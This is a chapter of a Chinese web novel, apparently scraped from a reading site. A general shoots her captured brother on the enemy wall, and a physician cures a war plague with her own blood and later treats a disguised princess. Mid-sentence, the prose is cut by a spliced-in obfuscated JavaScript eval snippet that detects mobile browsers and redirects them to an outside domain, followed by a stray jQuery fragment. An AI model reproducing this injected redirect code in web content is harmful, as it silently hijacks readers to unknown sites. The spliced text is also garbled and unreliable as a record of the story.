天泉国原本有十七州,但自从当今皇帝继位后,改变国策,凡遇战事,只守不攻。
经过这些年的步步退让,天泉如今已经向南皋割去四个城池,只剩天泉十三州。
但南皋国仍然不满足,屡犯边境,天泉边境民不聊生。
南皋不仅要求天泉年年送去大量金银珠宝,还提出送公主和亲的要求,如若不然,就出兵天泉。
如今安宁公主半路遇劫失踪,虽不清楚背后主使,但也是正中南皋下怀,让他们有了出兵的理由。
然,天泉的老将全都年事已高,近些年又重文轻武,更是无人可用。
于是,国难当头,只有林家次女林香赋主动请缨,挂帅领兵出征。
林香赋熟悉兵法,带兵有方。
天泉军队虽然人数少了一半,但也并未落下风。
经过数月鏖战,天泉眼见就要夺回一城。
却不想林家次子林郁仁,天泉出了名的探子高手,因为叛徒出卖,不幸被敌军抓住。
南皋首领把林郁仁活活悬挂在城墙上,逼林家军退军。
此时南皋势弱,军队损伤严重,士气低落,粮草也还未运到,正是一鼓作气、乘胜追击的好时候。
失此良机,恐怕以后再无机会。
林香赋身披铠甲,驾着一匹骏马立于阵前,面色沉着。
她长弓一挽,箭矢乘风飞出,稳稳地射进了林郁仁的脖子。
鲜血四溅,林郁仁死前,深深地望了一眼城下的林家军,安心地闭上了眼睛。
没有人听到,林香赋散落在风中的那一句:“下辈子投个普通人家,当个平凡的小公子吧。”
“杀!!!”随着林香赋一声令下,将士们冲上阵去,势如破竹。
林家军乘胜追击,成功夺回一城。
林郁仁的尸体,从城墙上取下,和众多普通将士一样,被埋在了战场。
……
凝天城内。
梁生忆正走在回住处的路上,迎面走来一个熟悉的身影。
“梁医师,好久不见。”林香赋饶有兴味地看着她。
“你是来这里救人的?”对方问。
梁生忆怕她下一句就说出“你既然能救他们,为什么当初不能救我姐姐”之类的话。
她避开对方的视线,低头就要走:“我只是要回去休息而已,至于其他的什么,我不在乎。”
擦肩而过的瞬间,林香赋的声音传来,清晰又刺耳:
“这世间的悲苦,不是一句‘不在乎’就可以带过的。”
梁生忆垂首,摇摇头,嘴角勾起一个讽刺的弧度,冷笑一声,转身走到她面前,质问道:
“在乎如何?不在乎又如何?”
对方没有回答。
梁生忆垂眸,继续说到:“昭昭一介书生,不求拯救世间,只求性命无虞。”
她拱手道别:“林将军,就此别过。”
“其实你还是想救人的吧?”林香赋转身,看向她的背影。
“我不想救人!我救不了人!我救不了他们!”梁生忆回头,声嘶力竭地大喊。
明月高悬,照在她身上,地上的影子拉得很长很长。
林香赋走到她面前,面色严肃,眼神中带着恳求:“梁太医,除了你,我想不出来还有谁能救他们。”
梁生忆内心微微触动。
……
一转眼,梁生忆已经在凝天城的雪汝药庄炼制丹药半月有余。
最近战场上出现一种奇怪的病症,与当年凝天城爆发的瘟疫十分相似。
雪汝山庄之所以名声大震,就是因为三年前爆发了一场瘟疫,雪汝山庄奋力医治,最终除去疫病。
梁生忆不是没有怀疑过,万一这是雪汝山庄自己搭的戏台子呢。
但目前看来,瘟疫爆发的源头不是雪汝山庄,而是……药王谷的药人。
梁生忆拿出雪汝山庄的木牌,问凝天城分店的人治疗瘟疫的办法。
但凝天城雪汝药庄的几人都闭口不言,不管梁生忆怎么问,都只坚持说那方法不能再用了。
梁生忆只得借了炼丹房,自己去炼丹。
但不论她怎么调配,送到治疗点的药还是没有任何效果。
梁生忆心中烦躁,不小心将桌子上的一个瓷瓶打碎了。
她暗骂一声,只得认命地弯腰去捡。
屋漏偏逢连夜雨,一个不注意,手指还被划破了。
梁生忆“啧”了一声,正准备擦掉按住伤口,忽然想起来那个曾经绑架她的面具药人说的话——
“她就是药王谷研究成功的药人,她的血可解百毒、治百病!”
难道,她的血真的有用?
梁生忆拧眉,犹豫着,把手上的血滴到药炉之中。
……
患病的士兵情况总算有了好转。
梁生忆既庆幸又震惊,如果这病要药人的血才能医治,那么当年雪汝山庄究竟放了多少药人的血,才能平息这么大一场瘟疫?
梁生忆不忍细想。
或许明月楼药罐里的那些交易人,就是牺牲之后的结果。
所以凝天城雪汝药庄的人才如此排斥这个方法?
一来它太过残暴,二来如今已经没有人能够提供充足的血源。
除了明月楼那些四肢皆无的药人,只有……梁生忆自己。
哎,事已至此。
梁生忆叹息一声:“是时候给自己来个放血疗法了。”
委中穴,足太阳膀胱经的合穴,位于腘窝横纹中点,经脉通过横纹直达足部,交点为穴位。
本穴又名“血郄”,为血中之郗穴,多为针刺放血为治也。
梁生忆给自己放了半刻钟的血,两只腿的血从喷涌而出,到逐渐平息。
看来瘀血还真是不少啊……
梁生忆感叹着,把放出的血悉心收集起来。
……
这天,梁生忆正去军营给林香赋送药。
她拿着林香赋给的信物刚进营地,远处突然传来一阵喊叫声:“南皋打过来了,敌方副将一大队人正在逼近!”
梁生忆听了双眼无神:人怎么能怎么倒霉成这样……
林香赋今天正带兵出征,对方立马调另一队人攻打营地。
——调虎离山之计。
看来军中内部的叛徒还是没有找到。
梁生忆被推搡着跟后厨的人一起躲进
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15698399|173466||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了地窖,听着头顶队伍踏过的声音,心里砰砰直跳。
不知过了多久,地窖的顶被人打开了。
梁生忆站在拿着兵器的后厨妇女身旁,屏气凝神地目视前方,护腕里的银针蓄势待发。
“是我们!林将军带人杀回来了,没事了!”一位士兵的声音从头顶传来。
梁生忆看向背后的人,确认真伪。
一位炊事兵听出了那是熟人的声音,惊喜瞬间爬上脸蛋,代替了之前的阴郁与担忧:“是真的!我认识他!”
梁生忆还是不太相信,万一是敌人的诡计怎么办。
威胁他们把人骗出来,也不是不可能。
梁生忆正想着,更多熟悉的声音从顶上传来,听着大家的叫声,众人总算放下心来。
梁生忆从地窖爬出来时,看见一个浑身是伤的人正被林香赋抱进军帐。
梁生忆好奇地上去问:“那是谁?”
方才跟在林香赋后面的士兵守在门口,看了梁生忆一眼,回答道:“林将军亲封的小将,她方才单枪匹马守住驻地,身上受了很重的伤。”
梁生忆又问:“她叫什么名字?”
“好像是叫……”士兵思索了一下,才说:“好像是叫林焉和。”
梁生忆顿时心中一震。
世人皆知被送去和亲的是安宁公主,却鲜少有人知道知道她叫什么名字。
她叫赵焉和,不过现在,她叫林焉和。
梁生忆还没来得及震惊,安宁公主赵焉和为何大难不死、还改名成了“林焉和”,投身军营的,军帐中就传来林香赋急切的声音:“请军医!快去请军医!”
梁生忆自然义不容辞。
她冲着帐内喊到:“林将军,可否让在下一试?”
林香赋一听她的声音,急切道:“快快,快快有请!”
梁生忆掀开帘子进去。
林焉和此时正躺在床上,浑身是血。
梁生忆赶紧让林香赋配合她帮林焉和卸下铠甲,确认伤口后进行清创和包扎,之后再诊脉开药。
好在林焉和身上的铠甲非同凡响,材质坚硬,为她挡下了不少致命伤,不然,怕是凶多吉少。
林香赋也庆幸,她口中虽有责怪之意,但更多的是欣赏:“这铠甲乃是林家先辈留下来的,挂在军中如同一面旗帜,激励将士们,没想到今天被她穿去了。不过事态紧急,也情有可原。”
梁生忆不拆穿她的护犊子行为,只是问道:“小林将军是何时进的军中?”
林香赋听到这里,眉毛顿时竖了起来,气愤道:“我也不知,这小子偷偷参军了也不告诉我!”
半晌,她眉眼又柔和下来:“不过也是,如今天泉之人都恨她入骨,声称是因为她两国才会交战,若她直接暴露身份,恐怕也不是一件好事。”
“哎……”梁生忆叹息一声。
派公主和亲,只是为了稳固她父兄的江山。他们不想给她继承皇位的资格,却要她替那一群窝囊的父兄背锅。
明明公主至今下落不明,却没有人关心她的安危,只一味地指责她不负责任。
这就是她拼尽全力守护的人们吗?
梁生忆眼中闪过迷茫之色。